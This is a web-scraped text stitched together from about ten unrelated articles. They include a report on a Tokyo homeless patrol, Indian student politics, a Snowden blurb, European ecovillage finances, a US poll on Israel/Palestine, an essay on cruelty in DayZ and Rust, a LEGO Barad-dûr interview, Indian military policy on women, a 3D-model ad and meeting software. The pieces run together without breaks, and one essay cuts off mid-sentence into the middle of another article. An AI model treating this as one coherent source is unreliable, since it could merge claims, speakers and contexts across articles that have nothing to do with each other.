Capital-efficient businesses, meanwhile, will fare well if there is a capital shortage, which Grice sees on the horizon.
Performing an “Ngram analysis” with the help of Google using the words “saving” and “spending,” Grice finds that former word has been trending massively down and the latter trending massively up in recent decades.
“We’ve become a nation of spenders and we have a shortage of saving. If interest rates are too low, you have too much demand and not enough of supply of capital; there’s a shortage of capital.”
And that, Grice fears, is another dangerous consequence of central bankers’ easy money policies.It is 8:30 on a cold Saturday night in mid-December. Around the East Exit of Shinjuku Station, immaculately dressed and preened people of all ages are waiting, smartphones in hand, for their friends or co-workers to arrive.
Many of them are likely about to embark on a night of eating, drinking and revelry in one or more of the hundreds of restaurants, bars, karaoke boxes and clubs packed into the sprawl of crowded alleys that make up one of Tokyo’s top entertainment districts.
Among the throng is a small group of six volunteers from three continents — two Japanese, two Europeans, an American and a Costa Rican — who are here for a very different night out. They are tonight’s Tokyo Spring Homeless Patrol, and their mission is to deliver vital goods to the homeless, those ghosts of Shinjuku who sit freezing and hungry in their cardboard-box homes, seen but unseen by the red-faced crowds walking to the next warm bar or on their way back to their well-heated homes.
Spread out on the ground are an assortment of items, some paid for by the volunteers, others provided by donors, that make up the collection for the evening. Beef stew and hot tea, candy, cookies, Wakaba cigarettes (the most popular brand among the homeless), face towels, masks and key winter items — namely sleeping bags, long thermal underwear, neck warmers (all brand new) and disposable Kairo heat pads.
While this is the Christmas season and there are other homeless patrols run by church and other faith-based groups in the capital, the Tokyo Spring Homeless Patrol is anything but religious. Although Tokyo Spring is a left-wing collective that also runs film screenings, discussions and other events, the patrols are not about politics and volunteers don’t have to be Marxists or anarchists to take part.
The patrol’s co-founder, Bosnian Sulejman Brkic, says the group can always do with more donations, especially in winter, even if it is just something small.
“It doesn’t have to be money,” he says. “Contact us directly to find out what we need or, even better, join us on a patrol and see for yourself. If you don’t want to do either of these, then at least please stop judging the homeless without knowing anything about them. How good a society is, the level of its humanism, can be measured by the way it treats its most vulnerable members.”
American volunteer Chris Warren, 35, brought a large bag of filled bagels donated by Bagel Cafe Nico in Yokosuka.
“These bagels are made from scratch from a variety of high-quality ingredients, so the homeless folks are getting a real treat,” he says. “Most local supermarkets and bakeries have quite a bit of food or produce they’re going to discard that is perfectly edible, so you can collect food from them.”
Warren previously worked as a logistics specialist for the U.S. Navy, but gave up that life to become an English teacher and an anarchist — and he’s not afraid to show it. Surrounded by his naturally dark hair, a bright stripe of dyed red hair over the center of his head forms the traditional black-and-red flag of anarcho-communism.
“Helping the homeless is a great example of both direct action and mutual aid, both of which are core principles in anarchist philosophy,” he explains. “Those bagels were ones that were leftovers that normally would of been tossed but were fine to eat. The fact is we live in a society that has more than enough food for everyone; access to food is the issue. The fact people are homeless and starving in the face of such an abundance of food really says something about the capitalist society we live in.”
Mental issues exacerbated
Once the items have been divided up, the volunteers set out to distribute goods to the clusters of homeless people scattered around the east side of the station.
In a narrow tunnel close to the New South Exit a couple of homeless men have parked up for the night, sitting on folded-out cardboard boxes under glaring strip lights. One, a surprisingly healthy-looking 52-year-old from the Kinki region, tells his story while sipping on his beef stew.
The man, who asked to remain nameless, says he comes to this spot just to sleep, as local government officials sometimes harass him if he stays there in the daytime.
“I used to work full-time at an IT company in the information department about 20 years ago, but it went bust after the bubble economy collapsed,” he says. “After that I did part-time work when I could find it, but I couldn’t make enough money to pay all the bills, and eventually I became homeless about seven years ago.”
In an adjacent tunnel we come across an old homeless man living in a cardboard box full of trinkets and trash. He graciously accepts some cigarettes, a sleeping bag and some other items, but is clearly detached from reality. He tightly grips a large green soft toy of an alien, proudly proclaiming a number of times that it is his child.
On the way to the next stop, Brkic talks about mental illness among the homeless.
“Most of them, as far as I know, do have psychological issues, but that is due to sleeping outside in this weather and eating bad food every day, if they get to eat every day. So who wouldn’t have mental issues in that situation?
“Look at us who are not homeless, how many of us have mental issues. Look at the rate of depression in capitalist countries, look at the loneliness, mainly among young people; all those feelings of isolation and alienation, all those feelings are caused by this system.”
The gift of giving: Tokyo Spring Homeless Patrol volunteer Elena Quesada Diaz distributes candy and cookies to a homeless man near Shinjuku Station. | SIMON SCOTT
Having covered the east side of the station, the volunteers then head towards Shinjuku Gyoen Park, one of Tokyo’s most popular and attractive cherry blossom viewing spots. The park is shuttered at night, but a smattering of homeless people camp out on the grass between the park’s wire fence and the road.
Kobayashi, a 70-year-old who has been homeless for over 20 years and living in a cardboard-box house in the same spot all that time, has become so accustomed to the harsh lifestyle that he is unfazed by even the worst weather.
Asked if it was hard going when it rained or snowed, his reply is simply: “No, it’s fine. I can use this plastic sheet as a roof.”
He then explains how he became homeless.
“I was a construction worker and got cancer. I wasn’t fired, but I got so sick that I could no longer do the work and then eventually became homeless,” he says. “I have no family to support me and the company I worked for didn’t provide health insurance,” he says.
He adds that while he was in hospital he was visited by someone from social welfare who paid for his surgery, but after that he received no further support.
“I worked hard when I was a young man, but the Japanese government does nothing to help now.” Kobayashi says he is able to survive because volunteer organizations bring food, and through the money he makes collecting and selling aluminum cans.
“This life is hard, but people come and help. I collect cans and make about ¥1,000 per week.”
The last stop
The last stop is the raised concourse on the west side of Shinjuku Station. It’s almost midnight and the wind is cold on the exposed deck, yet a dozen or more homeless people are sleeping in the dark doorways of the shuttered shops. One of them, a 64-year-old former salaryman who didn’t want to give his name, is still awake and willing to talk about the realities of homeless life.
“Once you have started living on the street it becomes extremely hard to find a job,” he explains. “There are jobs in Japan, but without an address, phone or ID it is impossible to get them.”
The homeless face a similar quandary when it comes to getting support from the government. Although they would qualify for welfare, homeless people can’t apply if they don’t have the required documentation.
The man believes that if the government gave money to the homeless, it would not just reduce the numbers who become physically ill due to the harsh life on the streets, but would also motivate them.
House of card: Tokyo Spring’s Sulejman Brkic hands a new sleeping bag to one of Shinjuku’s homeless. ‘How good a society is … can be measured by the way it treats its most vulnerable members,’ says Brkic. | SIMON SCOTT
“These people,” he says, gesturing to the faceless humans hidden in their cardboard boxes nearby, “have literally never even see money, let alone have any of their own. They just live off food from volunteers.
“If they were to get some money from the government, even just a tiny amount like ¥500 per day or ¥20,000 per month, it would make a big difference. If you never see money, you lose your motivation to go out and get some.”
He says that in Japan the homeless are ignored, not just by the government but also the public, and this sets off a vicious cycle.
“I think most Japanese people feel sorry for us and have sympathy, but still they just walk on by and take no action. Then it just gets worse and worse and motivation further declines. If you do something or give a present to the homeless, it will soften their hearts and raise their spirits.”
He adds that in America or Europe, people often give a few coins to homeless people they see in the streets, but in Japan rarely happens.
“Some people may want to help the homeless, but they don’t feel comfortable doing it when other Japanese are looking,” he explains. “If you think about helping but actually do nothing, it is the same as not thinking about us or not having sympathy. I don’t want to say Japanese people are cold-hearted, but they just don’t want to have a connection to the homeless. That is why we are trapped in this life.”
Standing in the cold at the West Exit of Shinjuku Station before jumping on the last train home, Brkic frankly explains how he feels about doing the homeless patrols.
“To be honest, I don’t want to do it, walking around in dark neighborhoods in the middle of winter putting Band-Aids on a sinking ship; I’d rather be home. I do have better things to do, but then not doing anything would be just too indecent,” he says. “As human beings, we should be decent with one another.”
Tackling poverty
American Charles McJilton founded Second Harvest Japan, the nation’s first food bank, in 2000. Although 2hj works with the homeless, it focuses more on providing food to the poor in general — a much larger group.
“Twenty million people live below the poverty line within Japan. The poverty line is defined as one half of the national average income, so if you have a household income of less than ¥2.3 million you are considered to be relatively poor. Out of that, there are 13 million households who live on roughly ¥100,000 a month,” says McJilton.
Here is a list of groups that work on issues related to poverty, including homelessness:
Send your comments and Community story ideas to: community@japantimes.co.jpThe girls at Banaras Hindu University (BHU) have gripped the nation’s attention. After one of them was sexually harassed by three men when she was on her way to her hostel one evening last week, the campus rose as one and challenged the BHU administration. In response, the vice-chancellor sent in the local police who mercilessly lathi-charged the protesting girls, closed down hostels, and had cases for arson and violence filed against a 1,000 of them.
The girls’ protest last week came on the heels of continued discriminatory practices between the girls and boys: The girls’ hostels have earlier curfew timings, they face more restrictions, the security leaves much to desire, repeated complaints have not made their campus safer from predatory men. The politically-blessed vice-chancellor has got away with it all but the students are not giving up – yet.
Nearly 20 months ago, Rohith Vemula, the PhD student at the University of Hyderabad pushed to suicide, became a student icon. Since then, students bold enough to take political positions have become popular anti-establishment icons: Kanhaiya Kumar, Umar Khalid, Anirban Bhattacharya, Shehla Rashid, Gurmehar Kaur and others. The recently-concluded elections in Jawaharlal Nehru University and Delhi University even evoked national interest.
READ:Monitoring assessment of answer papers not part of my day-to-day work: Mumbai University VC
In the University of Mumbai campuses, things have been quiet despite an unprecedented disaster that deeply affected lakhs of students. The results of a staggering 4.7 lakh under-graduates who had taken their exams in March-April were inordinately delayed due to the on-screen marking system hastily and clumsily imposed by vice-chancellor Sanjay Deshmukh. Of the 475 exams conducted by the university, the results of more than 90% were delayed beyond the stipulated time of six weeks; some are yet to be declared four months later. The university admitted that nearly 28,500 answer sheets have gone missing. Deshmukh was forced to go on leave.
Many students lost their provisional admissions in post-graduate courses in national and international universities, others found job offers drying up, yet others do not know if they have to write the exams again or accept an arbitrarily given average score. The sheer helplessness and agitation among Mumbai university’s students has to be seen to be believed.
Yet, agitations on the ground have been remarkably absent. The students’ wings of political parties made some noises, a delegation or two of youth leaders met the chancellor, a bunch of law students approached the Bombay high court, and some pro-active students shot off letters here and there. There is deep anger but the BHU or JNU or DU sort of protests have not happened.
This, unfortunately, is an outcome of de-politicising the university 25 years ago, after the gruesome murder of student-activist Owen D’souza during a college election in 1989. Since the early 90s, all kinds of political activity on campus remained suspended, student wings of political parties sit in the university’s senate but that’s it.
Across its college campuses, three generations of Mumbai’s students have seen little to no political mobilisation. Except the few hundreds who chose to read political science, lakhs have remained aloof from even textbook knowledge of democratic institutions, constitutional rights, civil liberties, the role of political protests and the like. Their political side has been rarely awakened or nurtured. Higher education has been limited to lectures, practicals, assignments and exams.
Many students do not exercise their right to vote in general or civic elections, they do not engage with socio-political issues possibly because they have not discovered their collective voice or learned about political protests and debates. Their (perceived) lack of agency begins on campus, even with issues that deeply affect them. There is no reason to keep students away from politics when so much pervades its administration.
Ironically, the Student’s Literary and Scientific Society set up in 1848 by Dadabhai Naoroji, Dr Bhau Daji Lad and two others in Bombay is considered the precursor of students’ organisations in India.
First Published: Sep 27, 2017 18:28 IST|
Of the many intriguing aspects of the Snowden story, by far one of the most frustrating is that, other than a few interviews and press conferences, almost everything we know about Snowden, his motivations, and the documents themselves come from intermediaries who have found themselves in the position of spokespeople on the case. Even such basic questions as how many documents Snowden leaked is still unclear, with various sources listing anything from 10,000 to 1.7 million documents. If details as basic as these vary so widely between sources, how much more opaque are the more difficult questions of Snowden's motivations and intentions, let alone the specifics of any deals he may have made with journalists about how this data was to be disseminated?
Find out more about the questions surrounding the reporting of the Snowden story in this week's EyeOpener report with James Corbett.[Editor's note: this is the fifth and final entry in a series of articles on European ecovillages by Matthew Slater. You can read the first four entries here, here, here, and here. This series was originally posted on Matthew's personal blog, Matslats.]
[Author's note: One condition for my GEN ambassadorship was a writeup at the end of the year. This is it, though I've written up a handful of individual ecovillages previously in this blog.]
I've had the honor of spending a several days in several ecovillages, but I didn't manage to write economic profiles of all of them!
Valle Sencaciones
Lakabe
Amalurra
Los Portales
Sieben Linden
Damanhur
Schweibenalp
The variety of economies was as wide as could be, ranging from Lakabe which uses no money internally and has a single account for handling everybody's cash, to larger ecovillages like Sieben Linden and Damanhur which have complex bureaucratic structures with more complex money flows to help them navigate the national legal systems while retaining some degree of personal freedom and security.
I knew Damanhur had a currency, but I didn't know how long it had been running, why it started, and what a colourful history of experimentation was in it!
I explored the potential for exchange and I regret it wasn't very strong. Much better for the ecovillages to concentrate on working with their local economies and with local produce like food, than on trade with each other, where, member communities being thinly spread accross Europe, distances are a significant barrier to trade.
I also asked a lot about local enterprise. I had the impression that many ecovillagers were avoiding economic activity at scale perhaps because it reminded them of the industrialised life they had left behind. The Kibbutim in Israel had no such reluctance, and set up factories which were all the more successful for having strong participation from a committed owner-workforce. It begged the question, what kind of economy do ecovillages want? How much luxury, how much security, how much work, how much ownership?
Clearly 19th Century style industrialisation is not a priority, in any of these communities, nor is anything capital intensive. Apart from agriculture which is hard to measure and mostly involves production for internal consumption, the largest enterprises I saw involved only a handful of people. The bakery in Lakabe employed several people but only for two days a week. A super wood workshop in Sieben Linden seemed to be used by only two or three peripatetic craftsmen. Damanhur had many small enterprises. Amallura was an exception because the whole place was one business.
A large part of the money-income for ecovillages comes from tourism, either through residential courses, or through the sale of nick-knacks. But the largest part comes from villagers working in the global economy. Most villages had no livelihoods they could offer potential members, and so they relied for growth on new people coming with money.
I also asked about money, debt, land-ownership, and finance for housing and business. Most villages (but not Lakabe!) were in debt, to banks; while they were benefitting from the post 2008 low interest rates, when interest rates rise (which any economist will tell you they must) these communities could lose out, bigtime.
So the next questions I have for the global ecovillage network all concern finance:
Can GEN support ecovillages with obtaining secured loans from family, friends, neighbours so as to cut out the bank in the middle? Can GEN support ecovillages with selling bonds to regional or ethical pension funds? Can GEN support ecovillages obtain investment capital through crowd-financing and PR campaigns? Can GEN itself become a financial front for ecovillages? Does the Permacredits project, whose stated goal is to obtain finance capital for ecovillage and permaculture enterprise, have anything to offer?
Go to the Intentional Communities and Solidarity Economics theme page
Go to the GEO front pageThis is important. Americans are beginning to open their eyes to a one-state outcome in Israel and Palestine. A new poll says the number of Americans who want the U.S. to push for a one-state outcome “with equal citizenship” is now close to the number who want the US to push for two states– 34 percent for one-state as opposed to to 39 percent for two. And the number who would push for One has jumped by 40 percent since last year.
The same poll also suggests that Democrats are expressing greater and greater skepticism about Israel, which could give politicians freedom to say something (maybe?).
The Brookings Poll of American attitudes on the conflict was conducted by Shibley Telhami in November, with 1000+ American respondents.
Here’s the main finding:
Two states, One State, Annexation, Status Quo The percentage of Americans who want the US government to push for a two-state solution remains constant at 39% from last year; but the percentage of those who
want the US to push for one state with equal citizenship has increased from 24% to 34%. Among those who support two states, two-thirds would support one state if two states are not possible. If a two-state solution is not possible, 71% of Americans (84% of Democrats, 60% of Republicans) favor a single democratic state with Arabs and Jews as equal over a
one in which Israel’s Jewish majority is sustained and Palestinians will not have equal citizenship.
There are starkly different levels of partisanship for Israel between Democrats and Republicans. Which side should we favor?
Among Democrats, 77% say neither side, 17% say Israel, and 6% say Palestinians; Among Republicans, 51% say Israel, 46% say neither, and 2% say Palestinians.
The party break continues when it comes to the U.S. supporting a Palestinian state at the U.N.
If Palestinians ask for UN endorsement of a Palestinian state, only 27% of Americans want the US to oppose it, 45% recommend abstaining, and 25% want the US to vote
in favor. Only 15% of Democrats recommend opposing, 36% recommend supporting, and 46% recommend abstaining…
75% of Democrats oppose settlement-building (only half of Republicans do).
There’s a lot of work to be done here. As Lia Tarachansky, who’s here promoting her new film, said the other day, the two-state solution died 15 years ago; and when is someone going to tell Americans? Omar Barghouti said at Columbia University the other night that an “absolute majority” of Palestinians, inside and outside the occupied territories, including the diaspora, would support a one state outcome.
Update: Telhami stresses that even American Jews value democracy more than Jewishness re Israel, in this piece at Foreign Policy. Fifty Jews were among the respondents.
Sixty-one percent of those identifying themselves as Jewish either ethnically or religiously favor Israel’s democracy over its Jewishness. Even among the policy relevant group — those Americans who rank the Palestinian-Israeli conflict either as a top priority or among the top three issues — 54 percent favor democracy, and 42 percent favor Jewishness. In fact, the only group in the sample slightly favoring Jewishness over democracy is those who identify themselves as Evangelical/Born-again Christians (50 percent to 47 percent, which is within the margin of error)…
Telhami reflects another way that the leftwing discourse is affecting America. Concern about Israel/Palestine is concern about human rights, he finds:
many tend to look at this issue through the prism of human rights. In this poll, a plurality of Americans (31 percent) say that human rights are their primary concern when they consider the Palestinian-Israeli conflict — more than American interests (24 percent) and Israeli interests (14 percent). A quarter of Americans rank human rights as their single most important priority for U.S. foreign policy (compared with 9 percent for international law, and 5 percent for the Palestinian-Israeli conflict). Those who rank human rights highest in their priorities tend to rank the Palestinian-Israeli conflict higher than other Americans do.
That finding, along with the one in my headline, demonstrates that America is listening to the concerns we express on this site.
Thanks to Alex Kane.Saved by the lag, but not everyone in DayZ is as lucky ysarts via Steam Community
Three men stand on a deserted street, their hands in the air.
One wears a green T-shirt and a motorcycle helmet. The others wear bright yellow down jackets. They are surrounded by four armed men. "Gentlemen," a man called Klyka says, "we are going to play a very interesting game."
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He commands the hostages to drop their axes, then continues. "This is DayZ," he says. "Someone always has to die when players meet. But we're going to make this interesting."
He directs the men in yellow to sit cross-legged, 20 yards from each other, axes midway between them. There can be only one yellow jacket in this group, he says. The two men consider what he says.
Klyka goes on. "When I shoot in the air you guys will run for your axes, and you'll try to grab them." The last man standing, he says, will be released.
DayZ is an online PC game set in the aftermath of a zombie apocalypse.
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Surviving the undead hordes is difficult, but at least the zombies are predictable. The bigger threat comes from your fellow players, who are just as likely to help you as kill you.
Dying in DayZ isn't like dying in other video games.
The game, developed by Bohemia Interactive, has "configured death with an extreme level of consequentiality not found in other online first-person-shooters," researchers at the University of Melbourne wrote last year. "Unlike other FPS games, in which death is a minor 2-10 second setback before rematerialisation, death in DayZ involves the permanent death of this character, and loss of all items and advancement."
In other words, death is about as real as it can be in a digital realm. You die, and it's literally game over. This, the authors write, has the effect of "intensifying social interactions, raising a player's perceived level of investment and invoking moral dilemmas." More than that, though, it raises an interesting question about how and why we behave as we do in a game like
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DayZ, and what that says about us.
Klyka doesn't appear the slightest bit morally distraught. He's quite obviously having fun. Having laid out the rules for his deadly game, he begins counting down. Three. Two. One.
Bang.
One yellow jacket sprints toward his axe. The other turns and sprints down the road. One of Klyka's men -- who had been filming the scene for YouTube -- calmly lowers his camera, raises his rifle and peers through the scope. He fires a single shot to the man's head. Klyka and his crew laugh.
If this were real, you'd think they were psychopaths. And what about DayZ, and games like it, makes them behave as if they are?
Alone and naked
DayZ and a similar open world, online survival game called
Rust are among the best-selling games on Steam this year. Each drops players, unarmed and alone, into a dangerous world and challenges them to make their way in a harsh and occasionally cruel environment.
What's emerged from this are online worlds in which the greatest threat isn't the enemies created by the game designers, but the violent and unpredictable people playing the game alongside you. I experienced this first hand playing Rust with a friend, who revealed a part of himself I'd never known existed.
In Rust, players start out naked and alone in the wilderness. They must fashion weapons from rocks, kill animals to eat and scavenge supplies to survive. The opening chapter of the game is terrifying, because there is nothing to protect you from players who've long since built forts and amassed caches of supplies, armour and weapons.
My friend JB and I soon built what we believed to be an impenetrable fortress around the remnants of an abandoned garage.
We had a roaring fire with plenty of food, weapons, and vast stores of supplies. Things were going well, until one night we heard voices outside.
I walked into the living room to find two shirtless and armed men rifling our supplies. One of them spotted me and yelled something unintelligible. I pulled out my pistol, shot the nearest man twice. I was a moment too late, however, and they gunned me down. JB unleashed an entire clip, but still went down. The bandits escaped with everything we owned, and left the same way they'd entered: through a hole in the back wall I'd neglected to patch up.
We started over with new characters. A few hours later, while hunting deer, I was startled to see a naked man sprint past. He froze at the site of my bow and protective armour. "I'm friendly! Friendly!" shouted a female voice. (Rust, currently in alpha state, only has male character models at the moment.) "It's okay, I'm friendly too," I said. "Do you need anything?"
She paused. No, she said, backing away. I wished her luck and resumed my hunt. She returned a minute later. "Do you have any food?" she asked. "I'm starving." I tossed her some baked chicken.
She offered some wood in return. "You keep that," I said. "You're going to need it to build a shelter." "No, it's okay," she said. "Fair's fair."
Before I could reply, I saw someone running up behind her. It was JB. I was about to tell him everything was OK when he started shooting. He hit her twice in the back. She ran away and died minutes later. JB was laughing. Laughing. "Why'd you do that?" I asked. I've known JB since were six years old. I've never seen him harm anyone. "I don't know," he replied. "It was funny."
Our perspectives on that event couldn't have been more different. In my mind, I was interacting with a real person who needed help, while JB just saw her as just another target in an elaborate shooting gallery.
Of course, I know JB wouldn't have gunned down a stranger in real life. But it got me thinking about people who would.
The psychopath next door
In layman's terms, a psychopath is someone without a conscience, says Dr. Adam Perkins, an expert in personality disorders who lectures at King's College London. Such people have little to no capacity for empathy and can do "the kinds of things you could do, but you'd be bothered by guilt if you did so."
Say, for instance, you're shopping and see a woman leave her purse on the counter. You could easily take it without getting caught. If you're a member of the 1 percent of the population that Perkins says is psychopathic, you just might do it -- and sleep like a baby afterward. "Psychopaths will do things without any compunction, any internal guilt," Perkins says. "It's a cognitive style that places little or no value on fair treatment of others."
This isn't to say psychopaths are by definition more violent than the rest of us. Violence wouldn't bother a psychopath, Perkins says, but they might have another incentive to avoid violence: the consequences of getting caught. Most psychopaths are logical people, he says, and understand that actions bring consequences.
The threat of repercussions -- say, for example, prison -- might keep them from acting out.
Such disincentives do not exist in virtual worlds. Absent a sense of empathy, you're free to rob and kill at will. What we do with this reveals something about us. Jon Ronson, author of The Psychopath Test, says imagining ourselves doing something horrible is a way to see ourselves in a new light. "One of the ways we keep ourselves moral is to imagine the terrible things we could do, but then don't do," Ronson says. "You stand on a train platform and think, 'I could push that person in front of the train.' That thought pops into your head, and it doesn't make you a lunatic. It makes you a good person, because what you're actually saying is, 'Oh my god, I'm capable of doing a terrible thing, but I would never actually do it.'"
As I'm talking to Ronson on the phone, I look out the window and see an enormous truck parked across two spaces. I imagine myself using a tire iron to smash the windows, the taillights, and the headlights before scraping the Confederate flag sticker off of it.
I find myself agreeing with Ronson. Any time I've put myself in a situation, real or imaginary, beyond my moral limits, it allows me to clearly see where those limits lie. It's therapeutic, and reassuring.
But we're still left with the big question: Are our actions in a virtual world tantamount to imagining those things we could do in real life but never would? Or are we merely behaving as we would in real life if there were no consequences for our actions?
I decided to ask Klyka.
The man behind the monster
Klyka is a 28-year-old German named Phillipp Kalle. He says players in games like DayZ and Rust devise elaborate ways to abuse others because the open-ended nature of these games leaves them bored if they don't create their own goals. "Normally, when you log into a game, the game communicates its rules to you," Kalle says. "If we both jump onto a Call of Duty server, the rules are there. It's agreed that we're going to kill each other. DayZ doesn't give you goals, it just gives you tools."
Thus, Kalle and his friends create their own fun. That might mean manipulating, abusing or even killing other players one day and helping them the next. Moments before setting up the yellow-jacket death match, Kalle says, his group helped a rookie player. "I actually gave him [a] pistol with some ammo and some food and sent him on his way," Kalle says.
After the yellow jacket death match video went viral, someone claiming to be the survivor posted an AMA on Reddit. Kalle sent him a friendly message, thanking him for being such a good sport about it all. "No hard feelings," the survivor wrote back. "You were really cool."
It might be the case that defaulting to killing people is a good strategy in these games. Perhaps the only way to play them successfully is to approach it like a paranoid mafia don, striking down all who don't approach on bended knee. It's one way to ensure your own survival. Someone always has to die when players meet.
But if that's your rationale, you'd simply shoot everyone on sight. What's the point behind drawing it out in a death match, like Klyka's elaborate game? For a game is exactly what it was, complete with fabulous prizes. After killing the yellow jacket who attempted to flee, one of Klyka's cronies approached the survivor and told him to choose his victory prize: saline, a bag of rice, or a box of bandages. The survivor chooses the rice.
One of the men drops the bag at his feet. And then Klyka orders his men to dance.
Rust: Minecraft for murderers Facepunch Studio
When no one is watching
When I first entered the world of Rust, I spawned atop a mountain surrounded by miles of valley. The sun was dropping out of sight behind a peak in the distance. Soon it would be dark.
Far away I saw a building among the trees. I could see light. I approached carrying only a rock. As I drew near, I could see people through cracks in the wall. I called out, asking for help, and heard two men murmur to each other. One finally opened the door.
They were naked, each of them clutching a rock. They looked more like animals than people. Behind them, I could see a fireplace in which meat was cooking, and several |
and plates, arches (in every variation). A good example to show is the picture below. If you look closely you won’t see many of the “old” standard bricks, just the parts I counted.
How many pieces did you use?
I can’t exactly tell you how many parts are in the model (I didn’t count them). I ordered about 25,000 pieces and for sure the same amount of parts came from my own stock. My final guess is about 50,000+.
How long have you been building LEGO models?
I’ve been building LEGO models since the age of three. In my early childhood, my models were simple and built for playability. In 2007, I joined Mocpages.com, and from there I built my models as ‘models’, for showing them. Over the last few years my ‘skills’ improved quite a lot. If I compare Barad-dûr to my first model on Mocpages, I have to laugh about myself. It’s a difference between day and night.
How many times have you been to Brickworld?
Actually, this year was my first Brickworld, and I’m glad I could make it. Meeting all my friends from the community and meeting new people and friends was just awesome!
What was the biggest challenge in building the Barad-dûr model?
The first challenge was to figure out the scale of it. As you maybe can guess, there wasn’t a lot of reference material (neither in the movies, nor on the Internet), but I found a bunch of pictures from a Weta collectible of Barad-dûr (Weta is the company who designed the models, etc., for LoTR). I took those pictures and chose one aspect of the tower (the outer wall with its characteristic riffle-pattern, and started on those wall elements. Once I got the first element I set them in scale to the rest of the tower.
I continued with taking one aspect, and one single element of the tower one after another. Because there aren’t existing blueprints or anything like that, the complete construction of the tower was done by eye. I tried to capture as many details of it as possible, under the conditions of parts, form, and size. I’m quite confident with the result. I think I captured nearly 80 percent of the necessary and characteristic details of Barad-dûr.
The most challenging parts of the tower was, at first, building the baseplate out of wedge-plates to get the right angles for the circular base of BD and the right proportions. That was followed by the rockwork, which is about 33% of the tower and took me the most time in relation to the rest of the model. It was quite dificult to create a floating look.
The whole upper tower was also a challenge. It consists of eight different panels (each unique) and the Eye of Sauron. Creating the lidless shape of it was also very difficult. But the ultimate challenge was just a small part of the tower: the two small towers on the corners of BD with their hexagonal shape. I needed over two weeks of continuous tries and fails before I got the final solution for it.
Have you built any other LOTR models?
No, Barad-dûr was my “debut” to LotR. Normally, my favorite subject is building space creations or building space-creations after concepts. For example, my digital Klingon Bird of Prey or the rendition of the Keldabe-class batlleship from a Star Wars PC-game, shown below. But, like I already said, BD was on my “to-do” list and I’m very happy with the result.
What will you do with the model now?
What to do with the model?! I don’t know what I’ll do with the model. I’ll probably dismantle it, sort out the parts, and build something new out of them. The problem is, the model eats up all my stock, I don’t have any parts anymore for building something new, or the money for buying new parts. On the other hand, it depends on its status when it arrives back in Germany. I had to ship it from the U.S., and last time, when I shipped it from Germany to the U.S. for Brickworld ’11 it was a disaster: The complete upper tower was crunched to parts, no one bigger than a few centimeters. It took me two days and two nights in a row, to reconstruct it. It was a real pain, but finally I was able to rebuild it and I got the reward for it. I won the judges award on BW ’11 for it (and my cuckoo clock: a “double-award”).
Check out Walter’s Flickr page to see even more photos of the amazing Barad-Dûr LEGO tower.The Women's Day has brought a bad piece of news for Indian women who are in or aspiring to be in the defence services as the three defence chiefs have advised against induction of women in combat roles. While women officers are already being inducted in some arms and services duties in the Army — like Army Air Defence, Corps of Signals and Corps of Engineers, Army Service Corps, Army Ordnance Corps etc — a study on all aspects related to women officers in Armed Forces has recommended the exclusion of women officers from combat duty for the present.The study conducted under the supervision of the country’s three defence chiefs says in combat duty, the chances of physical contact with the enemy are high and hence it is not advisable to include women officers in combat roles. This was revealed by Defence Minister AK Antony in Rajya Sabha on Wednesday while he was replying to a question by Ravula Chandra Sekar Reddy. The study on the induction of women in combat roles was conducted under the aegis of the Chiefs of Staff Committee, he said. The Chiefs of Staff Committee is India’s most powerful military organisation, which counts the three defence chiefs among its members. There are women officers in most of the Army services today. They are there in both Permanent Commission as well as Short Service Commission. In fact, women officers perform key duties in Army Education Corps, Judge Advocate General Department, Corps of Electrical and Mechanical Engineers, Intelligence Corps and various wings of medical services. Women activists have, however, slammed the findings of the study as the height of male chauvinism. Colonel Lakshmi Sahgal, one of the last Indian women to see active combat in the 1940s, said the decision “reflects the mindsets of the military top brass”. Sahgal was with the Indian National Army of Subhash Chandra Bose. Sahgal told the DNA newspaper that she was convinced, and has witnessed herself, that women are “fit for combat duty”. Compared to women who join the army today, the INA women, who fought the British, had “very low nutritional standards”, she said. "Yet they fought bravely, and on many occasions better than men, even in the face of heavy aerial bombing." "It speaks of their prejudice," says Sahgal’s daughter and senior communist leader Subhasini Ali. Describing the recommendation as "anachronistic", Ali asks: "Would they say that a way to stop rapes is to prevent girl children from being born?”We are announcing new collection of truly "as real as it gets" 3d-scanned food!
We are presenting new Evermotion Archmodels vol. 150, the collection of 52 detailed, photo-realistic food products, carefully 3d-scanned and optimized by Evermotion artists.
Each model was scanned with top-end DLSR camera. All pictures were taken in the 24MP resolution in uncompressed RAW format. This way we are sure that we captured the most of texture data. We made over 100 photos of each model and then imported them to software that used this data to create a point cloud and detailed mesh of each object.
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3d-scanned food products - as real as it gets!
3d scanning with DLSR gives the level of detail that is almost impossible to achieve in normal 3d modeling. We get the best quality phororealistic textures and 100% accurate mesh. Scanned models can consist of even million polygons, it is way too much for a single object, so we need to optimize them and make them much lighter.
Archmodels vol. 150 will perform great in every visualization scene – no matter if it is architectural visualization, commercial, animation or movie.
Archmodels vol. 150 collection contains 52 scanned and optimized models of food products.
Product images:
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Archmodels vol. 150 collection contains 52 scanned and optimized models of food products. The collection is available in Evermotion Shop and on official reseller sites. Pre-order this collection in EVERMOTION shop.
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Archmodels vol. 150 collection contains 52 scanned and optimized models of food products. The collection is available in Evermotion Shop and on official reseller sites. Buy this collection in EVERMOTION shop.Send a meeting request and you can almost hear people groaning as they turn to dutifully enter the time in their calendars. Sitting in a conference room often serves to shorten attention spans and spur multitasking.
Web-based video meetings and conference calls only makes these behaviors worse. Sixty per cent of people on audio-only conference calls admitted to checking social media when they should have been listening to another attendee and another 6% admitted to dozing off, according to findings from cloud-based video conference company Blue Jeans Network. Then there’s always the chatty participant who can run their mouth and lead the entire discussion astray. Or worse, the attendees who don’t speak up at all because they don’t want to be criticized or fear the repercussions of disagreeing with their boss.
Despite these challenges, we spend as much as half our days in meetings, according to the same research. Yet, meetings are often the are the best vehicle for bringing people together to strategize and brainstorm. And while there’s a wealth of about making meetings more productive, a new a platform is promising to fix the things that people hate most about meetings.
Attentiv, which has just launched out of beta and has already signed up clients such as Ernst & Young, tackles everything from setting an agenda, to assigning action items, taking notes and offering a channel for anonymous communication. This feature, cofounder Daniel Russell says, is akin to Memo’s anonymous interoffice messaging system and works in real-time to gather feedback.
Russell argues that using a real-time stream, Attentiv helps the best ideas rise to the top. “It saves time by allowing everyone in the meeting to anonymously answer questions simultaneously, instead of going around the room one-by-one,” he says, which can waste time and lead to biased responses. “By getting everyone’s honest input, and not just the extroverts’ or managers’ input, you end up with more informed decisions and results in your meetings,” Russell says.
Getting things done is thwarted by groupthink, shyness, fear, yes-men, extroverts, and dominating managers.
